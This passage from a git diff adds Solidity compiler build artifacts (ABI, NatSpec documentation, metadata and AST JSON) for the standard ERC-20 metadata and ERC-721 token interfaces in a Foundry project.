ype":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called."},"approve(address,uint256)":{"details":"Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event."},"balanceOf(address)":{"details":"Returns the amount of tokens owned by `account`."},"decimals()":{"details":"Returns the decimals places of the token."},"name()":{"details":"Returns the name of the token."},"symbol()":{"details":"Returns the symbol of the token."},"totalSupply()":{"details":"Returns the amount of tokens in existence."},"transfer(address,uint256)":{"details":"Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event."},"transferFrom(address,address,uint256)":{"details":"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":"IERC20Metadata"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol","id":47965,"exportedSymbols":{"IERC20":[47939],"IERC20Metadata":[47964]},"nodeType":"SourceUnit","src":"110:573:32","nodes":[{"id":47941,"nodeType":"PragmaDirective","src":"110:23:32","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":47942,"nodeType":"ImportDirective","src":"135:23:32","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"../IERC20.sol","nameLocation":"-1:-1:-1","scope":47965,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":47964,"nodeType":"ContractDefinition","src":"277:405:32","nodes":[{"id":47951,"nodeType":"FunctionDefinition","src":"377:54:32","nodes":[],"documentation":{"id":47946,"nodeType":"StructuredDocumentation","src":"318:54:32","text":" @dev Returns the name of the token."},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"386:4:32","parameters":{"id":47947,"nodeType":"ParameterList","parameters":[],"src":"390:2:32"},"returnParameters":{"id":47950,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47949,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47951,"src":"416:13:32","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47948,"name":"string","nodeType":"ElementaryTypeName","src":"416:6:32","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"415:15:32"},"scope":47964,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":47957,"nodeType":"FunctionDefinition","src":"498:56:32","nodes":[],"documentation":{"id":47952,"nodeType":"StructuredDocumentation","src":"437:56:32","text":" @dev Returns the symbol of the token."},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"507:6:32","parameters":{"id":47953,"nodeType":"ParameterList","parameters":[],"src":"513:2:32"},"returnParameters":{"id":47956,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47955,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47957,"src":"539:13:32","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":47954,"name":"string","nodeType":"ElementaryTypeName","src":"539:6:32","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"538:15:32"},"scope":47964,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":47963,"nodeType":"FunctionDefinition","src":"630:50:32","nodes":[],"documentation":{"id":47958,"nodeType":"StructuredDocumentation","src":"560:65:32","text":" @dev Returns the decimals places of the token."},"functionSelector":"313ce567","implemented":false,"kind":"function","modifiers":[],"name":"decimals","nameLocation":"639:8:32","parameters":{"id":47959,"nodeType":"ParameterList","parameters":[],"src":"647:2:32"},"returnParameters":{"id":47962,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47961,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47963,"src":"673:5:32","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":47960,"name":"uint8","nodeType":"ElementaryTypeName","src":"673:5:32","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"672:7:32"},"scope":47964,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":47944,"name":"IERC20","nameLocations":["305:6:32"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"305:6:32"},"id":47945,"nodeType":"InheritanceSpecifier","src":"305:6:32"}],"canonicalName":"IERC20Metadata","contractDependencies":[],"contractKind":"interface","documentation":{"id":47943,"nodeType":"StructuredDocumentation","src":"160:116:32","text":" @dev Interface for the optional metadata functions from the ERC20 standard.\n _Available since v4.1._"},"fullyImplemented":false,"linearizedBaseContracts":[47964,47939],"name":"IERC20Metadata","nameLocation":"287:14:32","scope":47965,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":32} \ No newline at end of file diff --git a/contracts/out/IERC721.sol/IERC721.json b/contracts/out/IERC721.sol/IERC721.json new file mode 100644 index 000000000..6b23acdcf --- /dev/null +++ b/contracts/out/IERC721.sol/IERC721.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"approve","inputs":[{"name":"_approved","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"balanceOf","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getApproved","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"isApprovedForAll","inputs":[{"name":"_owner","type":"address","internalType":"address"},{"name":"_operator","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"ownerOf","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"setApprovalForAll","inputs":[{"name":"_operator","type":"address","internalType":"address"},{"name":"_approved","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"supportsInterface","inputs":[{"name":"interfaceID","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"ApprovalForAll","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_operator","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true,"internalType":"address"},{"name":"_to","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","getApproved(uint256)":"081812fc","isApprovedForAll(address,address)":"e985e9c5","ownerOf(uint256)":"6352211e","safeTransferFrom(address,address,uint256)":"42842e0e","safeTransferFrom(address,address,uint256,bytes)":"b88d4fde","setApprovalForAll(address,bool)":"a22cb465","supportsInterface(bytes4)":"01ffc9a7","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"getApproved\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"ownerOf\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceID\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"See https://eips.ethereum.org/EIPS/eip-721 Note: the ERC-165 identifier for this interface is 0x80ac58cd.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"This emits when the approved address for an NFT is changed or reaffirmed. The zero address indicates there is no approved address. When a Transfer event emits, this also indicates that the approved address for that NFT (if any) is reset to none.\"},\"ApprovalForAll(address,address,bool)\":{\"details\":\"This emits when an operator is enabled or disabled for an owner. The operator can manage all NFTs of the owner.\"},\"Transfer(address,address,uint256)\":{\"details\":\"This emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any number of NFTs may be created and assigned without emitting Transfer. At the time of any transfer, the approved address for that NFT (if any) is reset to none.\"}},\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.\",\"params\":{\"_approved\":\"The new approved NFT controller\",\"_tokenId\":\"The NFT to approve\"}},\"balanceOf(address)\":{\"details\":\"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.\",\"params\":{\"_owner\":\"An address for whom to query the balance\"},\"returns\":{\"_0\":\"The number of NFTs owned by `_owner`, possibly zero\"}},\"getApproved(uint256)\":{\"details\":\"Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_tokenId\":\"The NFT to find the approved address for\"},\"returns\":{\"_0\":\"The approved address for this NFT, or the zero address if there is none\"}},\"isApprovedForAll(address,address)\":{\"params\":{\"_operator\":\"The address that acts on behalf of the owner\",\"_owner\":\"The address that owns the NFTs\"},\"returns\":{\"_0\":\"True if `_operator` is an approved operator for `_owner`, false otherwise\"}},\"ownerOf(uint256)\":{\"details\":\"NFTs assigned to zero address are considered invalid, and queries about them do throw.\",\"params\":{\"_tokenId\":\"The identifier for an NFT\"},\"returns\":{\"_0\":\"The address of the owner of the NFT\"}},\"safeTransferFrom(address,address,uint256)\":{\"details\":\"This works identically to the other function with an extra data parameter, except this function just sets data to \\\"\\\".\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}},\"safeTransferFrom(address,address,uint256,bytes)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\\\"onERC721Received(address,address,uint256,bytes)\\\"))`.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\",\"data\":\"Additional data with no specified format, sent in call to `_to`\"}},\"setApprovalForAll(address,bool)\":{\"details\":\"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.\",\"params\":{\"_approved\":\"True if the operator is approved, false to revoke approval\",\"_operator\":\"Address to add to the set of authorized operators\"}},\"supportsInterface(bytes4)\":{\"details\":\"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\",\"params\":{\"interfaceID\":\"The interface identifier, as specified in ERC-165\"},\"returns\":{\"_0\":\"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise\"}},\"transferFrom(address,address,uint256)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}}},\"title\":\"ERC-721 Non-Fungible Token Standard\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"approve(address,uint256)\":{\"notice\":\"Change or reaffirm the approved address for an NFT\"},\"balanceOf(address)\":{\"notice\":\"Count all NFTs assigned to an owner\"},\"getApproved(uint256)\":{\"notice\":\"Get the approved address for a single NFT\"},\"isApprovedForAll(address,address)\":{\"notice\":\"Query if an address is an authorized operator for another address\"},\"ownerOf(uint256)\":{\"notice\":\"Find the owner of an NFT\"},\"safeTransferFrom(address,address,uint256)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"safeTransferFrom(address,address,uint256,bytes)\":{\"notice\":\"Transfers the ownership of an NFT from one address to another address\"},\"setApprovalForAll(address,bool)\":{\"notice\":\"Enable or disable approval for a third party (\\\"operator\\\") to manage all of `msg.sender`'s assets\"},\"supportsInterface(bytes4)\":{\"notice\":\"Query if a contract implements an interface\"},\"transferFrom(address,address,uint256)\":{\"notice\":\"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY LOST\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/interfaces/IERC721.sol\":\"IERC721\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_approved","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"_owner","type":"address","indexed":true},{"internalType":"address","name":"_operator","type":"address","indexed":true},{"internalType":"bool","name":"_approved","type":"bool","indexed":false}],"type":"event","name":"ApprovalForAll","anonymous":false},{"inputs":[{"internalType":"address","name":"_from","type":"address","indexed":true},{"internalType":"address","name":"_to","type":"address","indexed":true},{"internalType":"uint256","name":"_tokenId","type":"uint256","indexed":true}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"_approved","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_operator","type":"address"}],"stateMutability":"view","type":"function","name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"view","type":"function","name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"safeTransferFrom"},{"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"bool","name":"_approved","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"setApprovalForAll"},{"inputs":[{"internalType":"bytes4","name":"interfaceID","type":"bytes4"}],"stateMutability":"view","type":"function","name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"transferFrom"}],"devdoc":{"kind":"dev","methods":{"approve(address,uint256)":{"details":"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.","params":{"_approved":"The new approved NFT controller","_tokenId":"The NFT to approve"}},"balanceOf(address)":{"details":"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.","params":{"_owner":"An address for whom to query the balance"},"returns":{"_0":"The number of NFTs owned by `_owner`, possibly zero"}},"getApproved(uint256)":{"details":"Throws if `_tokenId` is not a valid NFT.","params":{"_tokenId":"The NFT to find the approved address for"},"returns":{"_0":"The approved address for this NFT, or the zero address if there is none"}},"isApprovedForAll(address,address)":{"params":{"_operator":"The address that acts on behalf of the owner","_owner":"The address that owns the NFTs"},"returns":{"_0":"True if `_operator` is an approved operator for `_owner`, false otherwise"}},"ownerOf(uint256)":{"details":"NFTs assigned to zero address are considered invalid, and queries about them do throw.","params":{"_tokenId":"The identifier for an NFT"},"returns":{"_0":"The address of the owner of the NFT"}},"safeTransferFrom(address,address,uint256)":{"details":"This works identically to the other function with an extra data parameter, except this function just sets data to \"\".","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}},"safeTransferFrom(address,address,uint256,bytes)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer","data":"Additional data with no specified format, sent in call to `_to`"}},"setApprovalForAll(address,bool)":{"details":"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.","params":{"_approved":"True if the operator is approved, false to revoke approval","_operator":"Address to add to the set of authorized operators"}},"supportsInterface(bytes4)":{"details":"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.","params":{"interfaceID":"The interface identifier, as specified in ERC-165"},"returns":{"_0":"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise"}},"transferFrom(address,address,uint256)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}}},"version":1},"userdoc":{"kind":"user","methods":{"approve(address,uint256)":{"notice":"Change or reaffirm the approved address for an NFT"},"balanceOf(address)":{"notice":"Count all NFTs assigned to an owner"},"getApproved(uint256)":{"notice":"Get the approved address for a single NFT"},"isApprovedForAll(address,address)":{"notice":"Query if an address is an authorized operator for another address"},"ownerOf(uint256)":{"notice":"Find the owner of an NFT"},"safeTransferFrom(address,address,uint256)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"safeTransferFrom(address,address,uint256,bytes)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"setApprovalForAll(address,bool)":{"notice":"Enable or disable approval for a third party (\"operator\") to manage all of `msg.sender`'s assets"},"supportsInterface(bytes4)":{"notice":"Query if a contract implements an interface"},"transferFrom(address,address,uint256)":{"notice":"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY 